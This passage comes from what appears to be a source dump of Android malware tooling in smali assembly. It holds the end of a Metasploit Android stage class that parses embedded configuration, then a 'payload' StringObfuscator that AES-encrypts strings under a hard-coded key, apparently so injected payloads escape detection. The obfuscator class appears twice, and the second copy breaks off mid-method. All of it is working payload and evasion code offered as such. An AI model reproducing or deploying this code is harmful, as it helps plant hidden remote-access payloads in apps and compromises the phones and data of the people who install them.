aget-byte v6, v5, v0 219 | 220 | if-eqz v6, :cond_2 221 | 222 | iput-object v5, v4, Lcom/metasploit/stage/g;->e:[B 223 | 224 | :cond_1 225 | new-instance v5, Ljava/lang/StringBuilder; 226 | 227 | invoke-direct {v5}, Ljava/lang/StringBuilder;->()V 228 | 229 | array-length v6, p0 230 | 231 | move v0, v2 232 | 233 | :goto_2 234 | if-ge v0, v6, :cond_3 235 | 236 | aget-byte v7, p0, v0 237 | 238 | if-eqz v7, :cond_3 239 | 240 | and-int/lit16 v7, v7, 0xff 241 | 242 | int-to-char v7, v7 243 | 244 | invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 245 | 246 | add-int/lit8 v0, v0, 0x1 247 | 248 | goto :goto_2 249 | 250 | :cond_2 251 | add-int/lit8 v0, v0, 0x1 252 | 253 | goto :goto_1 254 | 255 | :cond_3 256 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 257 | 258 | move-result-object v0 259 | 260 | iput-object v0, v4, Lcom/metasploit/stage/g;->f:Ljava/lang/String; 261 | 262 | invoke-virtual {v0}, Ljava/lang/String;->length()I 263 | 264 | move-result v0 265 | 266 | add-int/2addr v0, v2 267 | 268 | :cond_4 269 | iget-object v2, v3, Lcom/metasploit/stage/a;->d:Ljava/util/List; 270 | 271 | invoke-interface {v2, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z 272 | 273 | goto/16 :goto_0 274 | 275 | :cond_5 276 | return-object v3 277 | .end method 278 | 279 | .method private static a([BII)Ljava/lang/String; 280 | .locals 3 281 | 282 | invoke-static {p0, p1, p2}, Lcom/metasploit/stage/b;->b([BII)[B 283 | 284 | move-result-object v0 285 | 286 | :try_start_0 287 | new-instance v1, Ljava/lang/String; 288 | 289 | const-string v2, "ISO-8859-1" 290 | 291 | invoke-direct {v1, v0, v2}, Ljava/lang/String;->([BLjava/lang/String;)V 292 | 293 | invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String; 294 | :try_end_0 295 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_0 .. :try_end_0} :catch_0 296 | 297 | move-result-object v0 298 | 299 | :goto_0 300 | return-object v0 301 | 302 | :catch_0 303 | move-exception v1 304 | 305 | new-instance v1, Ljava/lang/String; 306 | 307 | invoke-direct {v1, v0}, Ljava/lang/String;->([B)V 308 | 309 | invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String; 310 | 311 | move-result-object v0 312 | 313 | goto :goto_0 314 | .end method 315 | 316 | .method private static b([BII)[B 317 | .locals 2 318 | 319 | new-array v0, p2, [B 320 | 321 | const/4 v1, 0x0 322 | 323 | invoke-static {p0, p1, v0, v1, p2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 324 | 325 | return-object v0 326 | .end method 327 | -------------------------------------------------------------------------------- /payload/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali: -------------------------------------------------------------------------------- 1 | .class public Lnet/dirtybox/util/obfuscation/StringObfuscator; 2 | .super Ljava/lang/Object; 3 | .source "StringObfuscator.java" 4 | 5 | 6 | # static fields 7 | .field private static DECODED_KEY:[B 8 | 9 | .field private static ENCODED_KEY:Ljava/lang/String; 10 | 11 | .field private static INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 12 | 13 | .field private static OBFUSCATION_CHARSET:Ljava/lang/String; 14 | 15 | 16 | # direct methods 17 | .method static constructor ()V 18 | .registers 2 19 | 20 | .prologue 21 | .line 20 22 | const-string v0, "7IPR19mk6hmUY+hdYUaCIw==" 23 | 24 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->ENCODED_KEY:Ljava/lang/String; 25 | 26 | .line 22 27 | const-string v0, "UTF-8" 28 | 29 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 30 | 31 | .line 23 32 | new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean; 33 | 34 | const/4 v1, 0x0 35 | 36 | invoke-direct {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;->(Z)V 37 | 38 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 39 | 40 | return-void 41 | .end method 42 | 43 | .method public constructor ()V 44 | .registers 1 45 | 46 | .prologue 47 | .line 19 48 | invoke-direct {p0}, Ljava/lang/Object;->()V 49 | 50 | return-void 51 | .end method 52 | 53 | .method private static initialize()V 54 | .registers 5 55 | 56 | .prologue 57 | const/4 v4, 0x0 58 | 59 | .line 26 60 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 61 | 62 | const/4 v3, 0x1 63 | 64 | invoke-virtual {v2, v4, v3}, Ljava/util/concurrent/atomic/AtomicBoolean;->compareAndSet(ZZ)Z 65 | 66 | move-result v2 67 | 68 | if-eqz v2, :cond_2e 69 | 70 | .line 29 71 | :try_start_a 72 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->ENCODED_KEY:Ljava/lang/String; 73 | 74 | sget-object v3, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 75 | 76 | invoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 77 | :try_end_11 78 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_a .. :try_end_11} :catch_27 79 | 80 | move-result-object v0 81 | 82 | .line 33 83 | .local v0, "base64Bytes":[B 84 | invoke-static {v0, v4}, Landroid/util/Base64;->decode([BI)[B 85 | 86 | move-result-object v2 87 | 88 | sput-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 89 | 90 | .line 34 91 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 92 | 93 | array-length v2, v2 94 | 95 | const/16 v3, 0x10 96 | 97 | if-eq v2, v3, :cond_2e 98 | 99 | .line 35 100 | new-instance v2, Ljava/lang/IllegalStateException; 101 | 102 | const-string v3, "Encoded key is invalid" 103 | 104 | invoke-direct {v2, v3}, Ljava/lang/IllegalStateException;->(Ljava/lang/String;)V 105 | 106 | throw v2 107 | 108 | .line 30 109 | .end local v0 # "base64Bytes":[B 110 | :catch_27 111 | move-exception v1 112 | 113 | .line 31 114 | .local v1, "e":Ljava/io/UnsupportedEncodingException; 115 | new-instance v2, Ljava/lang/RuntimeException; 116 | 117 | invoke-direct {v2, v1}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 118 | 119 | throw v2 120 | 121 | .line 38 122 | .end local v1 # "e":Ljava/io/UnsupportedEncodingException; 123 | .restart local v0 # "base64Bytes":[B 124 | :cond_2e 125 | return-void 126 | .end method 127 | 128 | .method public static obfuscate(Ljava/lang/String;)Ljava/lang/String; 129 | .registers 18 130 | .param p0, "value" # Ljava/lang/String; 131 | 132 | .prologue 133 | .line 41 134 | invoke-static {}, Lnet/dirtybox/util/obfuscation/StringObfuscator;->initialize()V 135 | 136 | .line 44 137 | :try_start_3 138 | sget-object v14, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 139 | 140 | move-object/from16 v0, p0 141 | 142 | invoke-virtual {v0, v14}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 143 | :try_end_a 144 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_3 .. :try_end_a} :catch_59 145 | 146 | move-result-object v13 147 | 148 | .line 50 149 | .local v13, "unencryptedBytes":[B 150 | :try_start_b 151 | const-string v14, "AES/CTR/NoPadding" 152 | 153 | invoke-static {v14}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; 154 | :try_end_10 155 | .catch Ljava/security/NoSuchAlgorithmException; {:try_start_b .. :try_end_10} :catch_60 156 | .catch Ljavax/crypto/NoSuchPaddingException; {:try_start_b .. :try_end_10} :catch_80 157 | 158 | move-result-object v2 159 | 160 | .line 54 161 | .local v2, "cipher":Ljavax/crypto/Cipher; 162 | new-instance v11, Ljavax/crypto/spec/SecretKeySpec; 163 | 164 | sget-object v14, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 165 | 166 | const-string v15, "AES" 167 | 168 | invoke-direct {v11, v14, v15}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V 169 | 170 | .line 55 171 | .local v11, "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 172 | const/16 v14, 0x10 173 | 174 | new-array v9, v14, [B 175 | 176 | .line 56 177 | .local v9, "iv":[B 178 | new-instance v12, Ljava/security/SecureRandom; 179 | 180 | invoke-direct {v12}, Ljava/security/SecureRandom;->()V 181 | 182 | .line 57 183 | .local v12, "sr":Ljava/security/SecureRandom; 184 | invoke-virtual {v12, v9}, Ljava/security/SecureRandom;->nextBytes([B)V 185 | 186 | .line 58 187 | new-instance v10, Ljavax/crypto/spec/IvParameterSpec; 188 | 189 | invoke-direct {v10, v9}, Ljavax/crypto/spec/IvParameterSpec;->([B)V 190 | 191 | .line 60 192 | .local v10, "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 193 | const/4 v14, 0x1 194 | 195 | :try_start_2c 196 | invoke-virtual {v2, v14, v11, v10}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V 197 | :try_end_2f 198 | .catch Ljava/security/InvalidAlgorithmParameterException; {:try_start_2c .. :try_end_2f} :catch_67 199 | .catch Ljava/security/InvalidKeyException; {:try_start_2c .. :try_end_2f} :catch_7c 200 | 201 | .line 66 202 | :try_start_2f 203 | invoke-virtual {v2, v13}, Ljavax/crypto/Cipher;->doFinal([B)[B 204 | :try_end_32 205 | .catch Ljavax/crypto/BadPaddingException; {:try_start_2f .. :try_end_32} :catch_6e 206 | .catch Ljavax/crypto/IllegalBlockSizeException; {:try_start_2f .. :try_end_32} :catch_7e 207 | 208 | move-result-object v5 209 | 210 | .line 70 211 | .local v5, "encryptedBytes":[B 212 | array-length v14, v9 213 | 214 | array-length v15, v5 215 | 216 | add-int/2addr v14, v15 217 | 218 | new-array v3, v14, [B 219 | 220 | .line 71 221 | .local v3, "cipherText":[B 222 | const/4 v14, 0x0 223 | 224 | const/4 v15, 0x0 225 | 226 | array-length v0, v9 227 | 228 | move/from16 v16, v0 229 | 230 | move/from16 v0, v16 231 | 232 | invoke-static {v9, v14, v3, v15, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 233 | 234 | .line 72 235 | const/4 v14, 0x0 236 | 237 | array-length v15, v9 238 | 239 | array-length v0, v5 240 | 241 | move/from16 v16, v0 242 | 243 | move/from16 v0, v16 244 | 245 | invoke-static {v5, v14, v3, v15, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 246 | 247 | .line 73 248 | const/4 v14, 0x2 249 | 250 | invoke-static {v3, v14}, Landroid/util/Base64;->encode([BI)[B 251 | 252 | move-result-object v1 253 | 254 | .line 75 255 | .local v1, "base64Bytes":[B 256 | :try_start_51 257 | new-instance v14, Ljava/lang/String; 258 | 259 | sget-object v15, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 260 | 261 | invoke-direct {v14, v1, v15}, Ljava/lang/String;->([BLjava/lang/String;)V 262 | :try_end_58 263 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_51 .. :try_end_58} :catch_75 264 | 265 | return-object v14 266 | 267 | .line 45 268 | .end local v1 # "base64Bytes":[B 269 | .end local v2 # "cipher":Ljavax/crypto/Cipher; 270 | .end local v3 # "cipherText":[B 271 | .end local v5 # "encryptedBytes":[B 272 | .end local v9 # "iv":[B 273 | .end local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 274 | .end local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 275 | .end local v12 # "sr":Ljava/security/SecureRandom; 276 | .end local v13 # "unencryptedBytes":[B 277 | :catch_59 278 | move-exception v4 279 | 280 | .line 46 281 | .local v4, "e":Ljava/io/UnsupportedEncodingException; 282 | new-instance v14, Ljava/lang/RuntimeException; 283 | 284 | invoke-direct {v14, v4}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 285 | 286 | throw v14 287 | 288 | .line 51 289 | .end local v4 # "e":Ljava/io/UnsupportedEncodingException; 290 | .restart local v13 # "unencryptedBytes":[B 291 | :catch_60 292 | move-exception v6 293 | 294 | .line 52 295 | .local v6, "f":Ljava/security/GeneralSecurityException; 296 | :goto_61 297 | new-instance v14, Ljava/lang/RuntimeException; 298 | 299 | invoke-direct {v14, v6}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 300 | 301 | throw v14 302 | 303 | .line 61 304 | .end local v6 # "f":Ljava/security/GeneralSecurityException; 305 | .restart local v2 # "cipher":Ljavax/crypto/Cipher; 306 | .restart local v9 # "iv":[B 307 | .restart local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 308 | .restart local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 309 | .restart local v12 # "sr":Ljava/security/SecureRandom; 310 | :catch_67 311 | move-exception v7 312 | 313 | .line 62 314 | .local v7, "g":Ljava/security/GeneralSecurityException; 315 | :goto_68 316 | new-instance v14, Ljava/lang/RuntimeException; 317 | 318 | invoke-direct {v14, v7}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 319 | 320 | throw v14 321 | 322 | .line 67 323 | .end local v7 # "g":Ljava/security/GeneralSecurityException; 324 | :catch_6e 325 | move-exception v8 326 | 327 | .line 68 328 | .local v8, "h":Ljava/security/GeneralSecurityException; 329 | :goto_6f 330 | new-instance v14, Ljava/lang/RuntimeException; 331 | 332 | invoke-direct {v14, v8}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 333 | 334 | throw v14 335 | 336 | .line 76 337 | .end local v8 # "h":Ljava/security/GeneralSecurityException; 338 | .restart local v1 # "base64Bytes":[B 339 | .restart local v3 # "cipherText":[B 340 | .restart local v5 # "encryptedBytes":[B 341 | :catch_75 342 | move-exception v4 343 | 344 | .line 77 345 | .restart local v4 # "e":Ljava/io/UnsupportedEncodingException; 346 | new-instance v14, Ljava/lang/RuntimeException; 347 | 348 | invoke-direct {v14, v4}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 349 | 350 | throw v14 351 | 352 | .line 61 353 | .end local v1 # "base64Bytes":[B 354 | .end local v3 # "cipherText":[B 355 | .end local v4 # "e":Ljava/io/UnsupportedEncodingException; 356 | .end local v5 # "encryptedBytes":[B 357 | :catch_7c 358 | move-exception v7 359 | 360 | goto :goto_68 361 | 362 | .line 67 363 | :catch_7e 364 | move-exception v8 365 | 366 | goto :goto_6f 367 | 368 | .line 51 369 | .end local v2 # "cipher":Ljavax/crypto/Cipher; 370 | .end local v9 # "iv":[B 371 | .end local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 372 | .end local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 373 | .end local v12 # "sr":Ljava/security/SecureRandom; 374 | :catch_80 375 | move-exception v6 376 | 377 | goto :goto_61 378 | .end method 379 | 380 | .method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String; 381 | .registers 16 382 | .param p0, "value" # Ljava/lang/String; 383 | 384 | .prologue 385 | const/4 v14, 0x0 386 | 387 | .line 82 388 | invoke-static {}, Lnet/dirtybox/util/obfuscation/StringObfuscator;->initialize()V 389 | 390 | .line 85 391 | :try_start_4 392 | sget-object v12, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 393 | 394 | invoke-virtual {p0, v12}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 395 | :try_end_9 396 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_4 .. :try_end_9} :catch_44 397 | 398 | move-result-object v0 399 | 400 | .line 89 401 | .local v0, "base64Bytes":[B 402 | invoke-static {v0, v14}, Landroid/util/Base64;->decode([BI)[B 403 | 404 | move-result-object v2 405 | 406 | .line 92 407 | .local v2, "cipherText":[B 408 | :try_start_e 409 | const-string v12, "AES/CTR/NoPadding" 410 | 411 | invoke-static {v12}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; 412 | :try_end_13 413 | .catch Ljava/security/NoSuchAlgorithmException; {:try_start_e .. :try_end_13} :catch_4b 414 | .catch Ljavax/crypto/NoSuchPaddingException; {:try_start_e .. :try_end_13} :catch_6b 415 | 416 | move-result-object v1 417 | 418 | .line 96 419 | .local v1, "cipher":Ljavax/crypto/Cipher; 420 | new-instance v10, Ljavax/crypto/spec/SecretKeySpec; 421 | 422 | sget-object v12, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 423 | 424 | const-string v13, "AES" 425 | 426 | invoke-direct {v10, v12, v13}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V 427 | 428 | .line 97 429 | .local v10, "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 430 | const/16 v12, 0x10 431 | 432 | new-array v8, v12, [B 433 | 434 | .line 98 435 | .local v8, "iv":[B 436 | array-length v12, v8 437 | 438 | invoke-static {v2, v14, v8, v14, v12}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 439 | 440 | .line 99 441 | new-instance v9, Ljavax/crypto/spec/IvParameterSpec; 442 | 443 | invoke-direct {v9, v8}, Ljavax/crypto/spec/IvParameterSpec;->([B)V 444 | 445 | .line 100 446 | .local v9, "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 447 | array-length v12, v2 448 | 449 | array-length v13, v8 450 | 451 | sub-int/2addr v12, v13 452 | 453 | new-array v4, v12, [B 454 | 455 | .line 101 456 | .local v4, "encryptedBytes":[B 457 | array-length v12, v8 458 | 459 | array-length v13, v4 460 | 461 | invoke-static {v2, v12, v4, v14, v13}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 462 | 463 | .line 103 464 | const/4 v12, 0x2 465 | 466 | :try_start_35 467 | invoke-virtual {v1, v12, v10, v9}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V 468 | :try_end_38 469 | .catch Ljava/security/InvalidAlgorithmParameterException; {:try_start_35 .. :try_end_38} :catch_52 470 | .catch Ljava/security/InvalidKeyException; {:try_start_35 .. :try_end_38} :catch_67 471 | 472 | .line 109 473 | :try_start_38 474 | invoke-virtual {v1, v4}, Ljavax/crypto/Cipher;->doFinal([B)[B 475 | :try_end_3b 476 | .catch Ljavax/crypto/BadPaddingException; {:try_start_38 .. :try_end_3b} :catch_59 477 | .catch Ljavax/crypto/IllegalBlockSizeException; {:try_start_38 .. :try_end_3b} :catch_69 478 | 479 | move-result-object v11 480 | 481 | .line 114 482 | .local v11, "unencryptedBytes":[B 483 | :try_start_3c 484 | new-instance v12, Ljava/lang/String; 485 | 486 | sget-object v13, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 487 | 488 | invoke-direct {v12, v11, v13}, Ljava/lang/String;->([BLjava/lang/String;)V 489 | :try_end_43 490 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_3c .. :try_end_43} :catch_60 491 | 492 | return-object v12 493 | 494 | .line 86 495 | .end local v0 # "base64Bytes":[B 496 | .end local v1 # "cipher":Ljavax/crypto/Cipher; 497 | .end local v2 # "cipherText":[B 498 | .end local v4 # "encryptedBytes":[B 499 | .end local v8 # "iv":[B 500 | .end local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 501 | .end local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 502 | .end local v11 # "unencryptedBytes":[B 503 | :catch_44 504 | move-exception v3 505 | 506 | .line 87 507 | .local v3, "e":Ljava/io/UnsupportedEncodingException; 508 | new-instance v12, Ljava/lang/RuntimeException; 509 | 510 | invoke-direct {v12, v3}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 511 | 512 | throw v12 513 | 514 | .line 93 515 | .end local v3 # "e":Ljava/io/UnsupportedEncodingException; 516 | .restart local v0 # "base64Bytes":[B 517 | .restart local v2 # "cipherText":[B 518 | :catch_4b 519 | move-exception v5 520 | 521 | .line 94 522 | .local v5, "f":Ljava/security/GeneralSecurityException; 523 | :goto_4c 524 | new-instance v12, Ljava/lang/RuntimeException; 525 | 526 | invoke-direct {v12, v5}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 527 | 528 | throw v12 529 | 530 | .line 104 531 | .end local v5 # "f":Ljava/security/GeneralSecurityException; 532 | .restart local v1 # "cipher":Ljavax/crypto/Cipher; 533 | .restart local v4 # "encryptedBytes":[B 534 | .restart local v8 # "iv":[B 535 | .restart local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 536 | .restart local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 537 | :catch_52 538 | move-exception v6 539 | 540 | .line 105 541 | .local v6, "g":Ljava/security/GeneralSecurityException; 542 | :goto_53 543 | new-instance v12, Ljava/lang/RuntimeException; 544 | 545 | invoke-direct {v12, v6}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 546 | 547 | throw v12 548 | 549 | .line 110 550 | .end local v6 # "g":Ljava/security/GeneralSecurityException; 551 | :catch_59 552 | move-exception v7 553 | 554 | .line 111 555 | .local v7, "h":Ljava/security/GeneralSecurityException; 556 | :goto_5a 557 | new-instance v12, Ljava/lang/RuntimeException; 558 | 559 | invoke-direct {v12, v7}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 560 | 561 | throw v12 562 | 563 | .line 115 564 | .end local v7 # "h":Ljava/security/GeneralSecurityException; 565 | .restart local v11 # "unencryptedBytes":[B 566 | :catch_60 567 | move-exception v3 568 | 569 | .line 116 570 | .restart local v3 # "e":Ljava/io/UnsupportedEncodingException; 571 | new-instance v12, Ljava/lang/RuntimeException; 572 | 573 | invoke-direct {v12, v3}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 574 | 575 | throw v12 576 | 577 | .line 104 578 | .end local v3 # "e":Ljava/io/UnsupportedEncodingException; 579 | .end local v11 # "unencryptedBytes":[B 580 | :catch_67 581 | move-exception v6 582 | 583 | goto :goto_53 584 | 585 | .line 110 586 | :catch_69 587 | move-exception v7 588 | 589 | goto :goto_5a 590 | 591 | .line 93 592 | .end local v1 # "cipher":Ljavax/crypto/Cipher; 593 | .end local v4 # "encryptedBytes":[B 594 | .end local v8 # "iv":[B 595 | .end local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 596 | .end local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 597 | :catch_6b 598 | move-exception v5 599 | 600 | goto :goto_4c 601 | .end method 602 | -------------------------------------------------------------------------------- /bin/classes/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali: -------------------------------------------------------------------------------- 1 | .class public Lnet/dirtybox/util/obfuscation/StringObfuscator; 2 | .super Ljava/lang/Object; 3 | .source "StringObfuscator.java" 4 | 5 | 6 | # static fields 7 | .field private static DECODED_KEY:[B 8 | 9 | .field private static ENCODED_KEY:Ljava/lang/String; 10 | 11 | .field private static INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 12 | 13 | .field private static OBFUSCATION_CHARSET:Ljava/lang/String; 14 | 15 | 16 | # direct methods 17 | .method static constructor ()V 18 | .registers 2 19 | 20 | .prologue 21 | .line 20 22 | const-string v0, "7IPR19mk6hmUY+hdYUaCIw==" 23 | 24 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->ENCODED_KEY:Ljava/lang/String; 25 | 26 | .line 22 27 | const-string v0, "UTF-8" 28 | 29 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 30 | 31 | .line 23 32 | new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean; 33 | 34 | const/4 v1, 0x0 35 | 36 | invoke-direct {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;->(Z)V 37 | 38 | sput-object v0, Lnet/dirtybox/util/obfuscation/StringObfuscator;->INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 39 | 40 | return-void 41 | .end method 42 | 43 | .method public constructor ()V 44 | .registers 1 45 | 46 | .prologue 47 | .line 19 48 | invoke-direct {p0}, Ljava/lang/Object;->()V 49 | 50 | return-void 51 | .end method 52 | 53 | .method private static initialize()V 54 | .registers 5 55 | 56 | .prologue 57 | const/4 v4, 0x0 58 | 59 | .line 26 60 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->INITIALIZED:Ljava/util/concurrent/atomic/AtomicBoolean; 61 | 62 | const/4 v3, 0x1 63 | 64 | invoke-virtual {v2, v4, v3}, Ljava/util/concurrent/atomic/AtomicBoolean;->compareAndSet(ZZ)Z 65 | 66 | move-result v2 67 | 68 | if-eqz v2, :cond_2e 69 | 70 | .line 29 71 | :try_start_a 72 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->ENCODED_KEY:Ljava/lang/String; 73 | 74 | sget-object v3, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 75 | 76 | invoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 77 | :try_end_11 78 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_a .. :try_end_11} :catch_27 79 | 80 | move-result-object v0 81 | 82 | .line 33 83 | .local v0, "base64Bytes":[B 84 | invoke-static {v0, v4}, Landroid/util/Base64;->decode([BI)[B 85 | 86 | move-result-object v2 87 | 88 | sput-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 89 | 90 | .line 34 91 | sget-object v2, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 92 | 93 | array-length v2, v2 94 | 95 | const/16 v3, 0x10 96 | 97 | if-eq v2, v3, :cond_2e 98 | 99 | .line 35 100 | new-instance v2, Ljava/lang/IllegalStateException; 101 | 102 | const-string v3, "Encoded key is invalid" 103 | 104 | invoke-direct {v2, v3}, Ljava/lang/IllegalStateException;->(Ljava/lang/String;)V 105 | 106 | throw v2 107 | 108 | .line 30 109 | .end local v0 # "base64Bytes":[B 110 | :catch_27 111 | move-exception v1 112 | 113 | .line 31 114 | .local v1, "e":Ljava/io/UnsupportedEncodingException; 115 | new-instance v2, Ljava/lang/RuntimeException; 116 | 117 | invoke-direct {v2, v1}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 118 | 119 | throw v2 120 | 121 | .line 38 122 | .end local v1 # "e":Ljava/io/UnsupportedEncodingException; 123 | .restart local v0 # "base64Bytes":[B 124 | :cond_2e 125 | return-void 126 | .end method 127 | 128 | .method public static obfuscate(Ljava/lang/String;)Ljava/lang/String; 129 | .registers 18 130 | .param p0, "value" # Ljava/lang/String; 131 | 132 | .prologue 133 | .line 41 134 | invoke-static {}, Lnet/dirtybox/util/obfuscation/StringObfuscator;->initialize()V 135 | 136 | .line 44 137 | :try_start_3 138 | sget-object v14, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 139 | 140 | move-object/from16 v0, p0 141 | 142 | invoke-virtual {v0, v14}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 143 | :try_end_a 144 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_3 .. :try_end_a} :catch_59 145 | 146 | move-result-object v13 147 | 148 | .line 50 149 | .local v13, "unencryptedBytes":[B 150 | :try_start_b 151 | const-string v14, "AES/CTR/NoPadding" 152 | 153 | invoke-static {v14}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; 154 | :try_end_10 155 | .catch Ljava/security/NoSuchAlgorithmException; {:try_start_b .. :try_end_10} :catch_60 156 | .catch Ljavax/crypto/NoSuchPaddingException; {:try_start_b .. :try_end_10} :catch_80 157 | 158 | move-result-object v2 159 | 160 | .line 54 161 | .local v2, "cipher":Ljavax/crypto/Cipher; 162 | new-instance v11, Ljavax/crypto/spec/SecretKeySpec; 163 | 164 | sget-object v14, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 165 | 166 | const-string v15, "AES" 167 | 168 | invoke-direct {v11, v14, v15}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V 169 | 170 | .line 55 171 | .local v11, "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 172 | const/16 v14, 0x10 173 | 174 | new-array v9, v14, [B 175 | 176 | .line 56 177 | .local v9, "iv":[B 178 | new-instance v12, Ljava/security/SecureRandom; 179 | 180 | invoke-direct {v12}, Ljava/security/SecureRandom;->()V 181 | 182 | .line 57 183 | .local v12, "sr":Ljava/security/SecureRandom; 184 | invoke-virtual {v12, v9}, Ljava/security/SecureRandom;->nextBytes([B)V 185 | 186 | .line 58 187 | new-instance v10, Ljavax/crypto/spec/IvParameterSpec; 188 | 189 | invoke-direct {v10, v9}, Ljavax/crypto/spec/IvParameterSpec;->([B)V 190 | 191 | .line 60 192 | .local v10, "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 193 | const/4 v14, 0x1 194 | 195 | :try_start_2c 